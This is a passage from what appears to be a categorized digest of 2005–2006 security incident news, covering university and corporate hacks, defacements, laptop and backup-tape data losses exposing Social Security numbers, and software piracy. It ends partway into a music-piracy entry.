The University of Georgia has revealed that a hacker was able to access a computer system that contained personal information for employees of the College of Agricultural and Environmental Sciences as well as people who are paid from that department. Social Security numbers were in the accessed database, though no credit card information was exposed. In all, 2,400 Social Security numbers for about 1,600 people were compromised, and the university is working to contact those affected. According to Tom Jackson, spokesperson for the university, names and Social Security numbers in the database were not connected, but an experienced hacker would likely be able to correctly match them up. The university suffered another computer hack in January 2004. No arrests have been made in that incident. The Atlanta Journal-Constitution, 29 September 2005

Category 17.1 *Penetration*

2005-11-18 **hacking penetration malicious network activity Indiana University IU**

EDUPAGE; http://www.fortwayne.com/mld/fortwayne/news/local/13202338.htm

HACKER HITS IU

Officials at Indiana University reported that a routine scan of computer systems turned up malicious software on the computer of a faculty member at the Kelley School of Business. According to James Anderson, the school's director of information technology, the software could have been used to access the personal information of about 5,300 current and former students at the university, though no reports have surfaced that the information was used illicitly. The school has notified the students who are possibly affected and encouraged them to monitor their credit reports for suspicious activity. Daniel Smith, dean of the Kelley School, said all of the institution's computers are being audited to ensure they are free of malicious software and have current antivirus and system patches installed.
Associated Press, 18 November 2005

Category 17.1 *Penetration*

2005-12-20 **data theft security breach Encase Guidance software criminal hackers financial personal data customer database law enforcement response credit card Secret Service investigation**

EDUPAGE; http://www.washingtonpost.com/wp-dyn/content/article/2005/12/19/AR2005121901525.html

HACKERS HIT SECURITY COMPANY DATABASE

Hackers gained access to the financial and personal data of 3,800 law enforcement and network security professionals when they broke into the customer database of Guidance Software in Pasadena, California. Guidance Software is a leading provider of software to diagnose hacker attacks, and its EnCase product is used by hundreds of security researchers and law enforcement agencies worldwide, including the U.S. Secret Service and FBI. The break-in took place in November and was discovered December 7. The company alerted its customers within two days after the discovery and assured them it would no longer store customer credit card data. The company is working with the Secret Service on a detailed investigation of the incident.

Category 17.1 *Penetration*

2006-02-13 **Olympic computer network attack threat Turin winter**

DHS IAIP Daily; http://www.washingtonpost.com/wp−dyn/content/article/2006/02 /13/AR2006021300387.html

MAN THREATENS TO ATTACK OLYMPIC COMPUTERS.

A would-be hacker was being investigated by police Monday, February 13, after threatening to attack the internal computer network of the Turin, Italy, Olympics organizing committee. The man -- a technical consultant for the Turin Organizing Committee -- illicitly gained access to off-limits sections of the network, police officer Fabiola Silvestri said. "This consultant -- who is now a former consultant -- said in a very strong way that he could do certain things to the network," Turin Organizing Committee spokesperson Giuseppe Gattino said. "Nothing has happened and all the passwords have been disabled."

In a separate case, police found that a Turin antiques dealer had acquired five Internet domains that had similar names to Olympic Websites. If accessed, the domains redirected users to the dealer's Website, which also carried Olympic logos and other copyrighted material, Silvestri said. Once he had been told that what he was doing was illegal, the dealer deleted the material and redirected users from his domains to Olympic Websites, she said.

Category 17.1 *Penetration*

2006-02-14 **hacker break in penetration University of Arizona journalism computers**

DHS IAIP Daily; http://www.azstarnet.com/metro/115789

ROMANIAN HACKER BREAKS IN TO UNIVERSITY OF ARIZONA JOURNALISM COMPUTERS.

Hackers broke into the computer system of the University of Arizona journalism department, and students were unable to use the computers Monday, February 13. All of the department's Apple Macintosh computers were affected and have been logged off the server and the Internet until the problem is solved, said Jacqueline Sharkey, head of the department. No information has been lost so far, she said. It was unclear Monday how long it would take to fix the security leak, she said. Department officials uncovered the problem during the weekend when they ran a security check on the computers. The computers are protected by a password, and Sharkey said she suspects that the hackers got through by trying "again and again and again." The security check showed that in other unrelated cases, hackers from Korea and Indonesia had tried to gain access to the system but were unsuccessful, she said.

Category 17.1 Penetration

2006-03-06 **hacker penetration Georgetown University server personal information disclosure**

EDUPAGE; http://www.computerworld.com/

HACKER ACCESSES GEORGETOWN SERVER

An external hacker has accessed a server at Georgetown University, according to officials from the Washington, D.C., institution. The server contained personal information on more than 41,000 individuals being tracked by the District of Columbia's Office of Aging. The office was working with the university as part of a grant to manage the information. According to the university, the breach was discovered on February 12. Although the server was immediately taken off line, the Office of Aging was not notified until February 24 because school officials did not understand the scope of the exposure for some time. The Secret Service was then notified and is working with the university to try to identify the hacker. David Lambert, CIO at Georgetown, said the university would undertake a thorough review of its computer systems, "focused on enhancing the security of confidential information contained on campus and departmental servers."

Category 17.1 Penetration

2006-04-16 **computer breaches intrusion security attention Iowa State University**

DHS IAIP Daily;
http://www.businessrecord.com/main.asp?SectionID=8&ArticleID=2656&SubSectionID=9

HIGH-PROFILE COMPUTER BREACHES DRAW ATTENTION TO SECURITY.

In December, an intruder breached the security of two Iowa State University computers containing encrypted credit card numbers of athletics department donors and Social Security numbers of more than 3,000 university employees. An investigation determined that the intruder hacked into the computers to store and distribute pirated movies or music. The incident prompted efforts over the past four months to tighten security around sensitive information and a greater awareness among students, faculty and non-information technology staff that the threat of an attack exists and it is up to the entire university community to prevent another incident. Incidents such as the one at Iowa State have created greater awareness nationwide of the widespread threat of computer security breaches. According to a recent FBI survey of more than 2,000 businesses in Iowa, Nebraska, New York and Texas, nearly nine out of 10 suffered from a computer virus, spyware or other online attack in 2004 or 2005. Though most companies use security software, computer hacking techniques are also far ahead of what they were 18 months ago, according to Loras Even, managing director of RSM McGladrey Inc.'s Integrated Technology Solutions.

Category 17.1 Penetration

2006-04-23 **University of Texas UT Austin computer breach hacking penetration sensitive data disclosure Social Security numbers**

EDUPAGE;
http://news.yahoo.com/s/ap/20060424/ap_on_hi_te/ut_computer_breach

UT SUFFERS ANOTHER COMPUTER BREACH

Officials at the University of Texas at Austin (UT) said a hacker broke into a computer system at the university's McCombs School of Business and may have accessed sensitive data on nearly 200,000 students, faculty, and alumni. The breach is the second major incident for the university after a former UT student was found to have hacked into a university computer system in 2003. In that incident, the hacker accessed about 40,000 Social Security numbers. William Powers Jr., president of UT, said that the current incident, which may have begun as early as April 11, appears to have been limited to the business school. The university has set up a hotline for those whose information may have been compromised.

Category 17.1 *Penetration*

2006-04-24 **hacker toolkit attack unpatched vulnerable computers Internet Explorer IE Firefox browsers**

DHS IAIP Daily; http://www.informationweek.com/news/showArticle.jhtml?articl eID=186700539

HACKER'S TOOLKIT ATTACKS UNPATCHED COMPUTERS.

A dirt-cheap, do-it-yourself hacking kit sold by a Russian Website is being used by more than 1,000 malicious Websites, a security company said Monday, April 24. Those sites have confiscated hundreds of thousands of computers using the "smartbomb" kit, which sniffs for seven unpatched vulnerabilities in Internet Explorer and Firefox, then attacks the easiest-to-exploit weakness. For $15 to $20, hackers can buy the "Web Attacker Toolkit," said San Diego-based Websense in an online alert. The tool, which uses a point-and-click interface, can be planted on malicious sites -- or on previously-compromised computers -- to ambush unsuspecting users. "It puts a bunch of code on a site that not only detects what browser the victim is running, but then selects one of seven different vulnerabilities to exploit, depending on how well-patched the browser is," said Dan Hubbard, senior director of security and research at Websense. Websense Informational Alert: Web attacker sites increase: http://www.websensesecuritylabs.com/alerts/alert.php?AlertID =472

Category 17.1 *Penetration*

2006-04-25 **confidentiality privacy control SSNs Social Security Numbers university criminal hacking penetration**

RISKS 24 26

ANOTHER SECURITY/PRIVACY BREACH AT THE UNIVERSITY OF TEXAS

Nearly 200,000 electronic records at the University of Texas at Austin's business school have been illegally accessed, including SSNs and possibly bio info on faculty, students, staff, and alums. The previous breach occurred in 2003, resulting in a former UT student receiving five years of probation and having to pay $170,000 in restitution for accessing almost 40,000 SSNs. Last year, a former UT student received five years probation and was ordered to pay $170,000 in restitution for hacking into the school's computer system in 2003 and accessing almost 40,000 Social Security numbers.

[Abstract by Peter G. Neumann]

17.2 Web vandalism

Category 17.2 *Web vandalism*

2005-06-10 **Web vandalism hacking defacement Korean Mozilla Website Simiens Crew Brazilian organization**

DHS IAIP Daily; http://www.internetnews.com/security/article.php/3512081

HACKERS DEFACE KOREAN MOZILLA WEBSITE

The Korean language Mozilla Website was hacked and defaced last week, prompting calls from some corners of the open source community to gain control of the independent site. The job was likely the work of the notorious Simiens Crew, a Brazil-based outfit, and while the main page was not affected, other pages were replaced by the message "Simiens Crew ownz u viva os macacos." The phrase "os macacos" means "the monkeys" in Portuguese. It could be that the hackers simply have misspelled their own name, according to MozillaZine, a Web-based forum for the browser's enthusiast. The proper spelling is "Simians" and means apes. The crew has attacked several high-profile sites, often exploiting a vulnerability in the AWStats log file analyzer, according to MozillaZine. While Mozilla Europe, Mozilla Japan and Mozilla China have an official affiliation with the foundation, the Korean language Website has no official connection. Channy Yun, leader of Mozilla Korean Community, said the hack happened because there was not a patch for a PHP vulnerability for the company hosting mozilla.or.kr. He assured users he would backup and fix the problem with the ISP.

Category 17.2 *Web vandalism*

2005-07-06 **The Register Micrsoft UK hacking defacer Apocalypse Rafa GIF Microsoft institutions government Aponte World of Hell**

DHS IAIP Daily; http://www.theregister.co.uk/2005/07/06/msuk_hacked/

MICROSOFT UK DEFACED IN HACKING ATTACK

Microsoft's UK Website was defaced by well-known defacer Apocalypse Tuesday, July 5, with a message in support of Venezuelan hacker Rafa. The site has since been restored to normal operation and the offending GIF removed. A Microsoft spokesman said it was aware of the attack, which technical staff are investigating. "There is no reason to believe customer data or any other sensitive information has been compromised," he said. Apocalypse has been targeting U.S. institutions and the government sites for months, always posting messages in support of Rafa Nunez-Aponte, a suspected member of the World of Hell hacking crew. Rafa is in custody in the U.S. following his arrest in Miami, FL, in April over a series of alleged attacks on U.S. Department of Defense servers dating back to 2001. Previous targets of DHS IAIP DHS IAIP Daily; DHS IAIP Daily; Daily; Apocalypse's "digital graffiti" attacks have included Stanford University and U.S. Navy Websites.

18.1 Theft of equipment

Category 18.1 Theft of equipment

2005-03-29 **identity data laptop theft University of California Berkeley Social Security Numbers**

EDUPAGE; http://www.insidehighered.com/index.php/news/2005/03/29/theft

THIEF GRABS LAPTOP AND 100,000 IDENTITTIES

Officials at the University of California at Berkeley said that a laptop stolen from the university's graduate division contained personal information for nearly 100,000 individuals. The computer included records for applicants to Berkeley's graduate programs from fall 2001 to spring 2004; students enrolled in the school's graduate programs from fall 1989 to fall 2003; and individuals who received doctorates from Berkeley between 1976 and 1999. Although no evidence exists that any of the stolen information has been used fraudulently, according to a statement from the university, the institution is required by a California law to disclose the breach to those affected. The statement said the university is making "every reasonable effort to notify by mail or e-mail all 98,369 individuals whose names and Social Security numbers were on the computer." Inside Higher Ed, 29 March 2005

Category 18.1 Theft of equipment

2005-04-08 **stolen computers medical records California Security Breach Information Act law encryption confidentiality HIPAA**

SANS NewsBites; http://news.zdnet.com/2102-1009_22-5660514.html?tag=printthis

STOLEN COMPUTERS CONTAIN 185,000 PEOPLE'S MEDICAL RECORDS

Two computers containing the financial and medical records of nearly 185,000 current and former patients were stolen from the offices of the San Jose Medical group late last month. The group's vice president for information technology says he believes the thieves were interested in the computers and not the information they contained. Nonetheless, the affected patients are being notified pursuant to California's Security Breach Information Act. The company had been transferring patient data from secured servers to the PCs; some of the data were encrypted.

Category 18.1 Theft of equipment

2005-05-23 **data personal information theft MCI employee data Social Security Numbers**

EDUPAGE; http://online.wsj.com/article/0,,SB111680003245940129,00.html

LATEST LOSS OF PERSONAL INFORMATION: MCI

Officials from long-distance carrier MCI are investigating the loss of employee data after a laptop was stolen from the car of an MCI financial analyst. The laptop contained names and Social Security numbers for about 16,500 employees, whom the company has notified. A spokesperson for MCI said the machine was password-protected but did not say whether the employee data were encrypted. MCI is reviewing the incident to see whether the analyst violated any company policies, such as those concerning what types of information may be put on laptops and what information must be encrypted. MCI is also taking this opportunity to make sure employees who have access to sensitive information are clear on company policies. The company said that so far there have been no reports that any of the information on the laptop has been sold or misused. Wall Street Journal, 23 May 2005 (sub. req'd)

Category 18.1 *Theft of equipment*

2005-06-10 **data theft personal information disclosure Motorola Affiliated Computer Services fraud insurance offer**

EDUPAGE; http://www.reuters.com/newsArticle.jhtml?storyID=8760748

MOTOROLA EMPLOYEE DATA STOLEN

Over the Memorial Day weekend, thieves broke into the offices of Affiliated Computer Services (ACS), a provider of human resources services, and stole two computers with personal information on Motorola employees. The computers, which reportedly employed security measures to make accessing their files difficult, contained names and Social Security numbers of an unspecified number of employees but did not include any financial information, according to a Motorola spokesperson. Lesley Pool, chief marketing officer at ACS, described the theft as an "amateur burglary" and said no evidence has surfaced that any of the information has been used for illicit purposes. Most of those affected are U.S. employees of Motorola, which employs about 34,000 people in the United States. Motorola has notified all of the affected employees and offered them fraud insurance at no charge. Reuters, 10 June 2005

Category 18.1 *Theft of equipment*

2006-01-26 **Ameriprise laptop personal data theft Social Security numbers**

EDUPAGE; http://www.nytimes.com/2006/01/25/business/25cnd-data.html

AMERIPRISE LAPTOP WITH PERSONAL DATA STOLEN

A laptop containing information on 230,000 individuals was stolen from the car of an employee of Ameriprise Financial in December, according to the company. The computer included names and Social Security numbers for more than 70,000 financial advisors, and names and Ameriprise account numbers for 158,000 customers of the firm, which was spun off of American Express last year. Andy MacMillan, a spokesperson from the company, said that although access to the data is protected by a password, the data were not encrypted, which is a violation of written company policies. MacMillan said the company does not believe that the thief knew about the information contained on the laptop and thinks that it is unlikely any of the information will be accessed or used fraudulently.

Category 18.1 *Theft of equipment*

2006-01-29 **stolen laptop personal data leakage confidentiality control employees customers unencrypted disk**

RISKS; NYT; http://tinyurl.com/rgh5t 24 15

AMERIPRISE LAPTOP COMPUTER STOLEN WITH DATA ABOUT 230,000 CUSTOMERS & EMPLOYEES

A report mirrored on emergentchaos.com summarized another data loss through unencrypted disks on a stolen laptop:

>On Wednesday, Ameriprise Financial, an investment advisor firm, said that a company laptop stolen from an employee's parked car in December contained the personal information of some 230,000 customers and company advisors, The New York Times reports.

The sensitive information contained in the laptop included the names and Social Security numbers of roughly 70,000 current and former financial advisors, as well as the names and internal account numbers of about 158,000 customers.

Andrew MacMillan, Ameriprise spokesperson, said the culprits likely had no idea that the laptop contained sensitive information, and in turn, the potential risk of "any data being used or discovered is very low." MacMillan noted that the laptop was protected by a password, but the data was not encrypted, a blatant breach of the company's privacy regulations. Ameriprise has fired the employee involved.<

[MK comments:
1) Firing the employee seems like an empty response to the problem, which is that corporate computers were being issued without mandatory disk encryption;
2) Having a company spokesperson announce to the world that the crooks "likely had no idea that the laptop contained sensitive information" is an inherently self-defeating form of reassurance.]

Category 18.1 *Theft of equipment*

2006-05-22 **computer laptop theft confidentiality control unencrypted hard drive policy violation information warfare terrorism**

RISKS; ConsumerAffairs.Com http://tinyurl.com/loluu; USA Today http://tinyurl.com/mwugq 24 29

VAST DATA CACHE ABOUT VETERANS HAS BEEN STOLEN

Personal electronic information on up to 26.5 million military veterans, including their names, Social Security numbers, and birth dates, was stolen from the residence of a Department of Veterans Affairs employee who had taken the data home without authorization. …Comments about no evidence of data misuse (yet) and no health/financial records, but deeply embarrassing to VA. No mention of a statement that this incident was not reported for several weeks….

[Abstract by Peter G. Neumann]

Martin Bosworth, writing for ConsumerAffairs.Com, wrote "In every public case, company representatives insist the laptops are stolen simply for their resale value, as opposed to the data they contain. The more skeptical might say that as consumers get smarter about not sharing their information on the Web, enterprising hackers and data thieves are taking advantage of other holes in the security fence -- namely slipshod government and business policies. Whether it's a criminal conspiracy or good old-fashioned incompetence, public and private agencies are not adequately protecting the personal information that's entrusted to them and, in many cases, are less than forthcoming about the circumstances surrounding laptop losses."

The FirstGov.gov Web portal included an extensive Web page entitled "Latest Information on Veterans Affairs Data Security" at < http://www.firstgov.gov/veteransinfo.shtml >.

In early June, the VA revealed that the stolen data included information about 2.2 million active-duty military personnel and National Guard troops. According to an Associated Press report, a class-action lawsuit filed by a coaltion of veterans' groups demanded "that the VA fully disclose which military personnel are affected by the data theft and [sought] $1,000 in damages for each person — up to $26.5 billion total. The veterans are also seeking a court order barring VA employees from using sensitive data until independent experts determine proper safeguards." The complaint added, "VA arrogantly compounded its disregard for veterans' privacy rights by recklessly failing to make even the most rudimentary effort to safeguard this trove of the personally identifiable information from unauthorized disclosure."

Category 18.1 *Theft of equipment*

2006-06-02 **laptop computer stolen unencrypted disk drive confidentiality data leakage control credit-card numbers**

RISKS 24 31

HOTELS.COM LOSES CONTROL OF 243,00 CREDIT-CARD NUMBERS

CNNMoney reports that about 243,000 Hotels.com credit-card numbers were stolen back in February via the theft of a laptop computer. They believe that the theft was of the computer, with no idea of the information on the hard drive, and, likely as well, no intention of using the information on the hard drive. That it takes from February to June to determine what was on the hard drive is difficult to accept, however, and leaves unanswered what MIGHT have happened in the intervening three months respecting identity theft or misuse of the credit cards. Lots of unanswered questions, but typical of the problem when a laptop gets stolen.

[Abstract by Robert Heuman]

18.2 Loss of equipment

Category 18.2 Loss of equipment

2005-01-23 **UNC hard drive personal information employees beneficiaries names Social Security numbers bank**

EDUPAGE; http://www.thedenverchannel.com/news/4121643/detail.html

UNC HARD DRIVE WITH PERSONAL INFORMATION DISAPPEARS

News of a missing hard drive at the University of Northern Colorado (UNC) in Greeley went from bad to worse when university officials revealed that the device included personal information not only for employees but also for their beneficiaries. The hard drive contained data including names, Social Security numbers, and bank account numbers for nearly 16,000 current and past employees of the university, as well as for beneficiaries, bringing the total to perhaps more than 30,000. At a meeting of about 200 university employees, UNC President Kay Norton said that although the school does not know whether the drive was stolen or was simply misplaced, the odds of theft increase as the days pass without locating the drive. Norton said, "We have to assume the worst," and UNC has launched a criminal investigation. UNC will not reimburse individuals for the costs of changing accounts to protect themselves, according to Norton, but some banks will change accounts without a charge.

Category 18.2 Loss of equipment

2005-02-25 **unencrypted data laptop computer loss confidentiality medical information blood bank**

RISKS 23 76

BLOOD BANK LAPTOP FALLS OFF TRUCK; DATA UNENCRYPTED

Delaware blood bank had sensitive donor data on disk; "Officials say they will now encrypt the information to prevent its unauthorized use or disclosure."

Category 18.2 Loss of equipment

2005-02-26 **bank data loss tapes Visa credit cards expenses governmental Defense Department information theft**

EDUPAGE; http://www.nytimes.com/2005/02/26/national/26data.html

BANK LOSES SENSITIVE DATA

The Bank of America has lost backup tapes containing details of Visa cards that the bank issued to 1.2 million federal employees, who use the credit cards for travel expenses and other purchases related to government business. About 900,000 of those affected work in the Defense Department, according to Alexandra Trower, a spokesperson from the bank. Trower said that following a shipment of a number of such backup tapes, it was discovered that some were missing. The Secret Service was notified and is investigating the disappearance, but according to Trower, no evidence has surfaced that any of the lost information has been put to improper use or that the loss resulted from theft. The bank does not plan to change any of the affected credit card numbers, but it has notified those individuals whose information was included on the missing tapes.

Category 18.2 Loss of equipment

2005-02-26 **bank customer data loss encryption failure transportation security airline baggage magnetic backup tape identity theft**

RISKS; http://news.bbc.co.uk/1/hi/business/4300371.stm 23 76

BofA LOSES BACKUP TAPES IN TRANSIT WITH CUSTOMER DATA

Bank of America "lost computer tapes containing account details of more than one million customers who are US federal employees." The data were unencrypted. Nicolai E M Plum added, "There is another more general RISK, since the theft occurred on a commercial airline flight. There is a conflict between wishing to lock your luggage to prevent theft from luggage handlers (a group of people known to steal from luggage) and being told that if you lock your luggage the lock may be forced open and destroyed by the Transport Security Administration searching your bags - you can't win. The "TSA [master] key" lock idea will just mean the thieving baggage handler will acquire one of the master keys beforehand."

Category 18.2 *Loss of equipment*

2005-05-02 **data leakage loss backup tapes personal information employees history Social Security Numbers (SSN)**

RISKS; http://tinyurl.com/cfgfm; http://tinyurl.com/9e86u; http://tinyurl.com/7ejo3 23 86

IRON MOUNTAIN LOSES BACKUP TAPES IN FOURTH INCIDENT THIS YEAR

Peter G. Neumann reported another serious data loss:

Time Warner Inc. Data on 600,000 current and former employees stored on computer backup tapes was lost by an outside storage company. The Secret Service is now investigating. The tapes included names and Social Security information on current and former Time Warner employees, dependents, and beneficiaries, back to 1986.

In addition, the *Wall Street Journal*, 3 May 2005, noted that the tapes were lost by Iron Mountain Inc., a data-storage company based in Boston. An Iron Mountain spokeswoman said this is the fourth time this year that Iron Mountain has lost tapes during delivery to a storage facility.

Category 18.2 *Loss of equipment*

2005-05-07 **physical security data leakage equipment loss computers disk drives national laboratory sloppy procedures errors flaws mess national security**

RISKS 23 87

US IDAHO NATIONAL LAB LOSES 269 COMPUTERS & DISK DRIVES IN 3 YEARS

The U.S. federal Idaho National Laboratory nuclear-reactor research lab cannot account for more than 200 missing computers and disk drives that may have contained sensitive information. The computers were among 998 items costing $2.2 million dollars that came up missing over the past three years. Lab officials told investigators that none of the 269 missing computers and disk drives had been authorized to process classified information. But they acknowledged there was a possibility the devices contained "export controlled" information -- data about nuclear technologies applicable to both civilian and military use. [Abstract by Peter G. Neumann]

Category 18.2 *Loss of equipment*

2005-06-24 **personal sensitive consumer information disclosure data broker ChoicePoint Social Security Numbers**

EDUPAGE; http://online.wsj.com/article/0,,SB111957007176668246,00.html

CHOICEPOINT CHANGES PRACTICES TO AVOID REPEAT DISCLOSURE

Following the high-profile loss of personal information on nearly 145,000 individuals, data broker ChoicePoint said it will make significant changes to its business procedures to prevent future security breaches. In its reports, the company will begin masking Social Security numbers, and it will limit the amount of business it conducts with certain customers, including private investigators, collection agencies, and small financial companies. ChoicePoint has also begun offering access to individuals--at no charge--to the information that the company keeps on them. Though not widely advertised, the new service provides one annual report of "personal public records" searches. ChoicePoint currently maintains a vast database of information culled from public and business records on nearly every adult in the United States. After the security breach that exposed so many individuals to identity theft, Congress held hearings on ChoicePoint and other data brokers and is considering tightening regulation of the data industry. Wall Street Journal, 24 June 2005 (sub. req'd)

Category 18.2 Loss of equipment

2005-07-12 **data leakage computer loss theft government agencies UK survey report**

RISKS; http://www.egovmonitor.com/node/1843 23 94

UK GOVERNMENT LOSES AT LEAST 150 COMPUTERS IN 1ST 6 MONTHS OF 2005

Central government departments have reported to have suffered at least 150 cases of computer theft in the last six months, according to official figures. The Home Office alone recorded 95 incidents of computer items being stolen between January and June 2005 - equivalent to a theft taking place in the Department every other day.

By comparison, the Ministry of Defence reported 23 computer thefts to date in 2005, down from a total of 153 in the previous year….

In a written answer, Doug Touhig, a junior minister at the MoD, said the Ministry had also experienced 30 attempted computer hacking incidents so far in 2005, having only reported 36 for the whole of 2004. However the Minister gave an assurance that "none of the reported incidents of hacking had any operational impact". Most of these incidents were due to internal security breaches, rather than external threats. Half of the cases were classed as "internal - misuse of resources".

Instances of reported computer thefts in other departments were in single figures so far this year, and most recorded no cases of IT systems being accessed illegally.

The Department for Transport said it had experienced 71 cases of computer hacking in 2003-4, 31 in the following year and one incident since April. The Treasury, the Department for International Development and the Department for Education and Skills said their IT systems had been breached on one occasion in 2004-5. Figures from the DfES show that in the two years since 2003/4, it experienced 37 incidents of computer theft, all but one of which were "perpetrated by insiders". The Department of Health said it did not distinguish between losses and theft of IT equipment, but said there were 44 such incidents in 2004-5, costing it almost 40,000 pounds. Figures provided by Health Minister Jane Kennedy put the total sum lost by the Department over the last four years at 233,000 pounds.

[Report by Ian Cuddy]

Category 18.2 Loss of equipment

2005-09-16 **laptop data theft University of California Berkeley South Carolina recovery sensitive student information**

EDUPAGE; http://www.pcworld.com/news/article/0,aid,122576,00.asp

LOST UC BERKELEY LAPTOP RECOVERED

A laptop stolen in March from the University of California at Berkeley has been recovered, after being bought and sold several times, ultimately landing in South Carolina. When stolen, the computer contained sensitive data on more than 98,000 UC Berkeley graduate students, but by the time it was recovered, all of its files and operating system had been cleared, making it impossible to determine if the personal information was accessed after the theft. Following the theft, the university worked to contact those whose data was contained on the computer, as required by California law, and also hired an outside consultant to audit the institution's practices of handling such data, according to spokesperson Janet Gilmore. The university is currently assessing the recommendations of that audit and how to implement them. PCWorld, 16 September 2005

Category 18.2 Loss of equipment

2006-02-24 **McAfee auditor employee data loss leakage no encryption**

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/13952271.htm

MCAFEE AUDITOR LOSES EMPLOYEE DATA

Deloitte and Touche, the external auditor of computer-security firm McAfee, has lost a CD containing unencrypted data on more than 9,000 McAfee employees. The CD was left in a seat pocket on an airliner on December 15, though the loss was not reported to Deloitte officials until January 8, and it took until January 30 to determine what was on the disk. A spokesperson for McAfee, Siobhan MacDermott, said auditors commonly have access to the kind of data that was on the CD and that the decision not to encrypt the data was Deloitte's. MacDermott said, "We have policies in place to prevent this from happening" and noted that McAfee and Deloitte are working to prevent such a loss from happening again. Ken McEldowney, executive director of Consumer Action, expressed dismay at the news. "How hard would it be to encrypt the data?" he said. "How hard would it be to make sure important information like that is not on CDs that are not under tight control by the company?"

Category 18.2 *Loss of equipment*

2006-02-25 **laptop computer thefts losses compromise customer employee financial tax data identity theft passwords SSN**

The Register < http://www.theregister.co.uk/2006/03/30/ey_nokia_lapop/ >

ERNST & YOUNG LOSES LAPTOP COMPUTER WITH CUSTOMER DATA

The international consulting firm Ernst & Young lost a series of laptop computers in 2006. In February, the firm admitted that a laptop with confidential customer data -- including the SSN of Scott McNealy, CEO of Sun Microsystems -- had been lost or stolen in January. McNealy reported that his identity had in fact been compromised.

Then a March report in the Miami Herald stated that some Ernst & Young auditors went to lunch on Feb 9 -- leaving their laptop computers in a conference room in the office building where they were working. Two men stole four laptops. E&Y declined to issue a public statement about these breaches of security, although they did assure the public that "password protection" sufficed to compensate for loss of control over the data.

On March 15, The Register's Ashlee Vance, indomitable reporter that she is, wrote that E&Y lost yet another laptop computer -- this one stolen in January from an employee's car. It contained financial and tax records compromising the security of "thousands" of IBM employees and ex-employees. Once again, the company refused to issue a public statement about the theft and informed the potential victims of identity theft two months after the incident. On March 23, Vance found out that E&Y had admitted to BP that 38,000 employees were included in the January laptop theft.

Category 18.2 *Loss of equipment*

2006-03-22 **laptop computer thefts losses compromise customer employee financial tax data identity theft encryption SSN**

The Register < http://www.theregister.co.uk/2006/03/22/fidelity_laptop_hp/ >

FIDELITY INVESTMENTS LOSES LAPTOP WITH CLIENT DATA

Ashlee Vance, scourge of careless laptop users, reported on March 22 in The Register that Fidelity Investments had announced the loss of a laptop computer containing detailed HP retirement plan data for 196,000 HP employees, including names, addresses, salaries and SSNs. In contrast with the disgraceful performance of Ernst & Young, Fidelity announced the loss relatively quickly and cooperated fully with the trade press. In addition, the data on the laptop were encrypted.

The same article reported that Ernst & Young were rolling out encryption software for their corporate computers. At last.

On 24 March, Vance reported that the _reason_ a Fidelity employee was carrying 196,000 records about HP employees on a laptop was… wait for it… as part of a demo intended to impress HP executives with some new software. Yep: live, highly sensitive data for a demo on a laptop computer.

Category 18.2 *Loss of equipment*

2006-05-12 **data loss computer sensitive data confidentiality SSN financial information**

The Register <
http://www.theregister.co.uk/2006/05/12/wellsfargo_computer_loss/ >

WELLS FARGO LOSES COMPUTER WITH SENSITIVE CUSTOMER DATA

Ashlee Vance, writing in The Register, reported that
>At least one poor Hewlett Packard employee compromised by Fidelity's March laptop loss has now been told Wells Fargo lost his personal data, too.

The staffer received a note this week from Wells Fargo, saying the financial institution had lost a computer packed full of sensitive data such as customers' names, addresses, Social Security numbers and Wells Fargo mortgage loan account numbers, according to a document sent to The Register. Wells Fargo has admitted the loss, telling us that it affected a "relatively small percentage of Wells Fargo customers." The company, however, has millions of customers, so it's pretty tough to tell what a "small percentage" means.

The company said that, "a computer - being transported for Wells Fargo Home Mortgage, a division of Wells Fargo Bank, N.A., by a global express shipping company between Wells Fargo facilities - has been reported as missing and may have been stolen. Wells Fargo said there is no indication that the information on the computer equipment has been accessed or misused. The computer has two layers of security, making it difficult to access the information."<

---

19 Counterfeits, forgery (including commercial software/music piracy)

Category 19 *Counterfeits, forgery (including commercial software/music piracy)*

2006-02-13 **intellectual property rights group call Russia focus copyright anti-piracy USTR IIPA**

EDUPAGE; http://www.itworld.com/Man/2683/060213iipa/

INTELLECTUAL PROPERTY GROUP CALLS FOR FOCUS ON RUSSIA

In comments submitted to the U.S. Trade Representative (USTR), the International Intellectual Property Alliance (IIPA) urges the agency to identify Russia as a Priority Foreign Country, a designation for countries considered most threatening to intellectual property. The IIPA estimates that piracy rates in Russia are as high as 85 percent for business software, 67 percent for music, 81 percent for movies, and 82 percent for entertainment software. In addition, the Priority Foreign Country list indicates countries whose antipiracy efforts are minimal. The IIPA has previously requested that Russia be put on the list, but only Ukraine is on the highest-priority list. According to the IIPA, Ukraine should be moved down a step, to the Priority Watch List, with 15 other countries, including China, Egypt, Thailand, and Venezuela. The IIPA said countries including Pakistan, Brazil, and Taiwan had improved efforts during 2005 to address intellectual property concerns.

19.1 Software piracy

Category 19.1 Software piracy

2005-08-01 **Microsoft anti-piracy system hacked Windows Genuine Advantage WGA copy**

DHS IAIP Daily;
http://www.techworld.com/security/news/index.cfm?NewsID=4134

HACKERS BREAK INTO MICROSOFT'S ANTI-PIRACY SYSTEM

Hackers found a way around Microsoft's Windows Genuine Advantage (WGA) anti-piracy system last week, only a day after the system went into effect. WGA requires Windows users to verify they are using a genuine copy of Windows before they are allowed to download certain software updates. Security patches aren't covered by the system, and remain available to any Windows user, legitimate or not. Using a simple JavaScript hack, all users had to do was paste a JavaScript URL into the Internet Explorer browser window at the beginning of the process; this turned off the key check, according to users. Microsoft said it was investigating the hack but didn't consider it a security flaw. The company said that it may not take immediate action to fix the problem. "As the validation system is updated from time to time, we will address this and other issues that may arise," a Microsoft spokesperson said. Microsoft put WGA into place to cut down on Windows piracy, and to persuade users who are running pirated copies of Windows to buy legitimate licences.

Category 19.1 Software piracy

2006-01-30 **Britain ISPs order disclose identities BSA FAST UK**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4663388.stm

ISPS IN BRITAIN ORDERED TO DISCLOSE IDENTITIES

In the United Kingdom, the High Court has ordered 10 ISPs to disclose the identities of 150 individuals suspected of trading copyrighted software. The Business Software Alliance estimates that one-quarter of all software used in the United Kingdom is illicit. The court ruling came after a group called the Federation Against Software Theft (FAST) petitioned the court to order the disclosures, noting that software pirates hide behind fake names and bogus e-mail addresses and are notoriously difficult to track down. FAST said that after it has obtained the identities of those suspected of illegally trading software, it will consult with law enforcement authorities. John Lovelock, an official at FAST, said the group intends to make an example of software pirates, and the group's legal counsel said the current court action is "only the first wave of an ongoing strategy."

19.2 Music piracy

Category 19.2 Music piracy

2005-01-25 **music piracy Russia copyright infringement intellectual property international**

